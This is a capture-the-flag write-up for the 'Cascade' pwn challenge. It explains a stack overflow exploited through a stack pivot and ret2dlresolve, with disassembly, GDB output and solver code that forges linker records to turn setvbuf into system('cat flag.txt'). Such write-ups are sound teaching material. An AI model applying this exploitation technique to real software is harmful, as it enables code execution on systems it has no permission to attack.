Pwn

Introduction

Cascade provides a small Linux executable, its C source, and a flag file. The program reads input into a stack buffer and then returns normally. There is no dedicated win function to call.

Our goal is to make the program read and print flag.txt. The oversized read gives us control of the saved return address, but that only changes where execution goes next. We still need a way to load a command, prepare writable memory, and call a function that can run it.

Initial analysis

I started by checking the executable type and its protections. From the cascade directory, the relevant commands and output are:

$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=62e662ddbf533b04204a7ab25598ad278f1b3d44, for GNU/Linux 3.2.0, not stripped

$ checksec --file=vuln
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH

PIE is position-independent executable code. With PIE disabled, the program's code and data use fixed addresses, which lets us return to known instructions and write to known memory locations. There is no stack canary, so the function does not detect that its saved frame has been overwritten. NX marks the stack non-executable, so we cannot simply put machine code in our input and jump to it. Partial RELRO leaves the function entries in the Global Offset Table writable, which gives us a place to redirect a later library call.

Finding the overflow

The source makes the bug clear. vuln allocates 64 bytes but asks read to copy up to 512 bytes into that buffer:

void vuln() {
    char buf[0x40];
    read(0, buf, 0x200);
}
objdump -d -M intel vuln
 40115a: push rbp
 40115b: mov rbp, rsp
 40115e: sub rsp, 0x40
 401162: lea rax, [rbp - 0x40]
 401166: mov edx, 0x200
 40116b: mov rsi, rax
 40116e: mov edi, 0
 401173: call read@plt
 401178: nop
 401179: leave
 40117a: ret

The function reserves 0x40 bytes for buf. The saved frame pointer is immediately above it, and the saved return address is eight bytes above the saved frame pointer. That makes the offset to the return address 0x40 + 8 = 72 bytes.

To confirm the layout, I sent 64 As, eight Bs, and eight Cs, then stopped in GDB after the read at 0x401179, just before leave uses the saved values. The stack shows the Bs at saved rbp and the Cs at saved rip:

Breakpoint 1, 0x0000000000401179 in vuln ()
buffer start: $1 = 0x7fffffffdf10
saved rbp: 0x7fffffffdf50:  0x4242424242424242
saved rip: 0x7fffffffdf58:  0x4343434343434343
0x7fffffffdf10:  0x4141414141414141  0x4141414141414141
0x7fffffffdf20:  0x4141414141414141  0x4141414141414141
0x7fffffffdf30:  0x4141414141414141  0x4141414141414141
0x7fffffffdf40:  0x4141414141414141  0x4141414141414141
0x7fffffffdf50:  0x4242424242424242  0x4343434343434343

The stack address changes between runs, but the offsets do not: rbp is 64 bytes after the buffer start, and rip is another eight bytes after that. A 72-byte prefix reaches the saved return address.

Choosing a way in

A direct ret2libc attack would return into a function in libc, the standard C library. This binary gives us no obvious libc address leak to calculate where that function lives, and it has no convenient pop rdi; ret gadget to load the function's first argument. It also has no purpose-built function that prints the flag. We need to reuse the instructions already present in vuln.

The useful sequence begins at 0x401162. lea calculates rbp - 0x40, the address of the buffer, and puts it in rax. The next three instructions set up the arguments for read(0, rax, 0x200): file descriptor zero means standard input, rsi is the destination, and rdx is the maximum number of bytes. call read@plt enters the program's Procedure Linkage Table (PLT), which transfers control to the library's read function.

The function ends with leave; ret. In a normal function, leave restores the caller's stack frame: it moves rbp into rsp, then pops a saved value into rbp. ret then pops the saved return address into the instruction pointer. If we enter the read sequence with a controlled rbp, read writes to rbp - 0x40; when it finishes, leave; ret treats data at our chosen address as a new stack frame. Moving the stack pointer into memory we control is called a stack pivot.

That gives us the plan: overwrite the original frame to call the read sequence again, use that read to place a second stage in writable memory, use a third read to place the final stack, and enter the dynamic linker with forged symbol records. The linker resolves system and updates the setvbuf entry in the GOT. When execution returns to main, the existing call to setvbuf runs our command instead.

flowchart LR
    A[Overflow] --> B[Read stage at LOW]
    B --> C[Read stage at HIGH]
    C --> D[Resolve fake system relocation]
    D --> E[Patch setvbuf GOT entry]
    E --> F[Run cat flag.txt]

Stage one: return to the reusable read

The first stage fills the buffer, replaces saved rbp with LOW + 0x40, and returns to the start of the read setup:

first = (b"A" * 0x40 + qword(LOW + 0x40) + qword(READ_SETUP)).ljust(0x200, b"\0")

READ_SETUP is 0x401162. When the original ret reaches that address, rbp is LOW + 0x40, so the next read writes at LOW. This is the first pivot: the original stack frame sends execution back through the same input operation, now aimed at a writable global address.

Stage two: put data in writable memory

The ELF section table lists .bss at 0x404020, but its declared size is only 0x20 bytes. The solver also uses HIGH = 0x404f00, which is outside that small section. readelf -S -W vuln shows the section, and readelf -l -W vuln shows the writable LOAD segment. On Linux, memory mappings are page-aligned; GDB confirms that the executable's page from 0x404000 through 0x405000 is writable. Both LOW and HIGH fall within it:

[26] .bss              NOBITS          0000000000404020 003020 000020 00  WA  0   0 16
LOAD      0x002df8 0x0000000000403df8 0x0000000000403df8 0x000228 0x000248 RW  0x1000
0x404000  0x405000  0x1000  0x3000  rw-p  /home/amine/writups/cascade/vuln

LOW is also where the executable stores its copy of the global stdout pointer. The second payload replaces that pointer with LOW + 8, then places cat flag.txt there. It also uses offsets 0x40 and 0x48 as the next fake frame: the saved frame pointer becomes HIGH + 0x40, and the return address is again READ_SETUP.

Here is the second stage's layout. The command and linker records share the same 0x200-byte input; the gaps keep each record at the address expected by the loader.

LOW (0x404020) + 0x00   pointer to command at LOW + 8
                  0x08   "cat flag.txt\0"
                  0x40   next rbp = HIGH + 0x40
                  0x48   next rip = READ_SETUP (0x401162)
                  0x88   fake Elf64_Rela at 0x4040a8
                  0xa8   fake Elf64_Sym  at 0x4040c8
                  0xc0   "system\0"      at 0x4040e0

HIGH (0x404f00)           final stack, supplied by the third read

The name LOW is just a solver constant. HIGH is placed near the top of the same writable page so the dynamic linker has writable stack space below it when it saves registers during resolution. The precise values and layout are in solve.py.

Stage three: ask the dynamic linker for system

When a program calls a shared-library function, its PLT stub looks up the function's address in the Global Offset Table (GOT). The dynamic linker normally fills in that address on the first call. Here main has already called setvbuf before reaching vuln, so the ordinary entry is resolved. Our chain enters the shared PLT resolver directly with a new relocation index; the linker processes our fake record and writes the new result to the same GOT slot. The GOT holds function pointers, and the PLT contains the small call stubs that use them.

With ret2dlresolve, we arrange for the dynamic linker to process relocation and symbol records we placed in memory. A relocation record tells it which GOT slot to update and which symbol to resolve. A symbol record tells it the symbol's name and type. Here the records describe system and point the relocation at setvbuf@GOT.

On x86-64, each Elf64_Rela and each Elf64_Sym is 24 bytes. The dynamic linker finds an entry by taking a table's base address and adding index * 24. That means our fake records must be aligned so the calculated index lands exactly on them. The solver does that with:

fake_rela = align_for(LOW + 0x80, RELA_PLT, 24)
fake_sym = align_for(fake_rela + 24, DYNSYM, 24)
name = fake_sym + 24
reloc_index = (fake_rela - RELA_PLT) // 24
sym_index = (fake_sym - DYNSYM) // 24

RELA_PLT is the real .rela.plt base at 0x400580; DYNSYM is .dynsym at 0x4003d8. align_for adds the smallest padding needed to make each address's offset from its table base divisible by 24. In this payload the fake relocation is at 0x4040a8, giving relocation index 0x277 (631). The fake symbol is at 0x4040c8, giving symbol index 0x28a (650). Its name string is at 0x4040e0.

The solver fills those structures like this:

r_info = (sym_index << 32) | 7  # R_X86_64_JUMP_SLOT
low[rela_offset : rela_offset + 24] = struct.pack(
    "<QQq", SETVBUF_GOT, r_info, 0
)
low[sym_offset : sym_offset + 24] = struct.pack(
    "<IBBHQQ", name - DYNSTR, 0x12, 0, 0, 0, 0
)
low[name - LOW : name - LOW + len(b"system\0")] = b"system\0"

R_X86_64_JUMP_SLOT is relocation type 7; its destination is SETVBUF_GOT = 0x404008. The upper 32 bits of r_info hold the symbol index, and the lower 32 bits hold the relocation type. In the symbol record, st_name is an offset from .dynstr, so the solver stores name - DYNSTR. st_info = 0x12 marks a global function. These values make the loader interpret our bytes as ordinary dynamic-linking records.

The third read writes the final stack at HIGH. Its first two words form the frame consumed by leave; ret; the remaining words tell PLT0 which fake relocation to use and where to return after resolution:

high[0x40:0x48] = qword(0)
high[0x48:0x50] = qword(PLT0)
high[0x50:0x58] = qword(reloc_index)
high[0x58:0x60] = qword(RET)
high[0x60:0x68] = qword(MAIN)

PLT0 is the shared resolver entry at 0x401020. The dynamic linker uses the relocation index to find our fake Elf64_Rela, follows its symbol index into our fake Elf64_Sym, reads the system name from .dynstr-relative address 0x4040e0, and writes the resolved function address to setvbuf@GOT.

Resolution also transfers control to system once, using the argument registers from the resolver call. At this point rdi is still zero: the reused read setup set it to file descriptor 0. GDB confirms both that value and the relocation index at PLT0:

Breakpoint 1, 0x0000000000401020 in ?? ()
PLT0 reached with rdi = 0x0
fake relocation index on stack = 0x404f50: 0x0000000000000277

So this first call behaves like system(NULL). It checks whether a command processor is available but has no command to run. It returns through the ret address prepared in the final stack, which takes execution to main.

GDB confirms the GOT entry changes. At the first entry to main, it points back into the PLT. After the resolver runs and the ROP chain returns to main, it points to the same address as system:

At main entry, setvbuf@GOT = 0x404008: 0x0000000000401040
system = 0x00007ffff7c50d70

At main entry, setvbuf@GOT = 0x404008: 0x00007ffff7c50d70
system = 0x00007ffff7c50d70

Those libc addresses vary with ASLR. What matters is that the GOT entry and system match after resolution.

Running the command

The target gives us a useful call site in main:

setvbuf(stdout, NULL, _IONBF, 0);

On the second trip through main, the program loads stdout from its global pointer and passes it as the first argument to setvbuf. Our second stage changed that pointer to the address of cat flag.txt, and the resolver changed setvbuf@GOT to system. The same call site now behaves like system("cat flag.txt"). system uses the first argument as its command and ignores the other setvbuf arguments.

The extra ret at 0x40101a adjusts the stack by eight bytes before execution reaches main. The x86-64 System V calling convention expects the stack to have a particular 16-byte alignment at function calls. Without that adjustment, the libc function can reach an instruction that expects aligned data and crash before the command runs.

Reproducing the solve

The solver sends three stages separately, with a short pause so each vulnerable read receives its intended input. Build the supplied challenge image and run it from the cascade directory:

docker build -t ictf2025-cascade-local artifacts
./solve.py --docker

The local run prints the flag. The challenge process then crashes because the chain has no normal return path after the command finishes. The captured output may show the shell's segmentation-fault message before the flag because the messages come from different output streams; the flag appearing confirms cat flag.txt ran.

Segmentation fault (core dumped)
ictf{i_h0pe_y0u_didnt_use_ret2dl_94b51175}

The useful discovery was that vuln already contains the read setup and stack teardown needed for repeated writes. Reusing those instructions gives us enough control to build the fake linker records and reach system, even without a gadget-heavy binary.

solve.py